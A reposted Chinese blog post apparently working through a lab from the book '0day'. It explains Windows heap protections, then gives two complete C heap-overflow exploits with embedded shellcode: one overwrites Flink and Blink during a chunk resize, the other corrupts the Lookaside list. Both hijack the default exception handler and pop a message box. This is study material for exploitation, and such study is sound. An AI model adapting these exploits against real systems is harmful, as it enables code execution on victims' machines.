您的位置:首页 > 其它

重重保护下的堆

2020-07-14 06:29 48 查看

 

堆保护机制的原理

  PEB random:在Windows XP SP2之后,将PEB基地址前两个字节随机化。

  Safe Unlink:在SP2 之前的链表拆卸操作类似于如下代码:

  

int remove (ListNode * node)

  (

    node -> blink->flink = node->flink;

    node -> flink->blink = node->blink;

    return 0;

  )

 

  SP2在进行删除操作时,将提前验证堆块前向指针和后向指针的完整性。

  int safe_remove(ListNode * node)

  (

  if((node->blink->flink==node)&&(node->flink->blink==node))

  (

    node -> blink->flink = node->flink;

    node -> flink->blink = node->blink;

    return 1;

  )

  else

  (

    链表指针被破坏,进入异常

    return 0;

  )

 

)

  heap cookie:cookie在堆首部分原堆块segment table的位置,占1个字节

  如图所示

  

  元数据加密:微软在WinVista及后续版本的操作系统中开始使用该安全措施。块首一些重要数据在保存时与一个4字节的随机数进行易或运算,使用这些数据时需要再进行一次易或来还原。

2 攻击堆中存储的变量

  攻击堆中存储的内容,如重要的数据或结构指针

3 利用chunk重设大小攻击堆

  链表发生插入操作:

  1.内存释放后,chunk不再被使用,重新链入链表

  2.chunk内存空间大于申请的空间时,剩余空间会被建立成一个新chunk,链入链表。

    重设chunk的代码

#include <stdio.h>

#include <windows.h>
void main()
{
HLOCAL h1;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
}

1.查看 堆、FreeList[0]的起始位置:

堆的起始地址是0x003A0000

freelist[0]

明天继续

2017-8-9

将新chunk插入链表,修改chunk中下一chunk指针和上一chunk指针的开始

 

 和我在博客上看到的一样,基址是7c920000+11513 

7C931513 代码不对

按命令找

书里面很绕,按照博客里的说法,我们将旧chunk的Flink和Blink覆盖掉可能出现漏洞。

也就是说能找到旧chunk的Flink和Blink,然后覆盖掉就可能出现漏洞。

代码(根据环境,将39改为3A啦)

#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x39\x00\xEB\x06\x39\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x39\x00\xE4\xFF\x12\x00"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
int zero=0;
zero=1/zero;
printf("%d",zero);
}

在memcpy处下断点

看到32字节的字符串,可以覆盖Flink和Blink了

 原理在0day里讲的很清楚了

接下来需要修改的目标是异常处理,默认异常处理句柄的位置在0012FFE4

第一次实验,失败告终,T-T.(第二次实验,成功啦)和预期一致

得到的结果应该是

[003A06B8]=003A06EB

[003A06B8+4]=0012FFE4

[0012FFE4]=003A06B8

[003A06EB+4]=003A06B8

 

 实验最后一步:布置可以弹出对话框的shellcode

代码布局如图所示

成功进入最终的异常处理程序执行

流程知道了,接下来调试调试,看看内部结构

在0x003906B8处中断,成功劫持程序流程

按F9 直接运行,出现failwest对话框

2 利用Lookaside表进行堆溢出

  快表中单链表拆卸时没有验证

  思路

  

代码

#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
"\xE4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90"
"\xE4\xFF\x12\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(0,0,0);
//__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
HeapFree(hp,0,h3);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x3A\x00",4);
int zero=0;
zero=1/zero;
printf("%d",zero);
}

 快表是什么?忘了,,先补一补,补充完毕

都是16字节

看看普通的堆块

空的

因为快表都是空的,我们先申请再释放,就优先释放到快表里,此外

此处申请的也是快表

查看指向下一堆块的指针

可以看出释放掉的两个堆都链进块表里了,lookaside->node[2]->node[1]

而node[1]就在h1之后,此处和博客里面做的实验结果有些不一样,需要覆盖掉

003A1EC0处的指针

稍微做修改后,成功

 

转载于:https://www.cnblogs.com/Ccmr/p/7325949.html

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: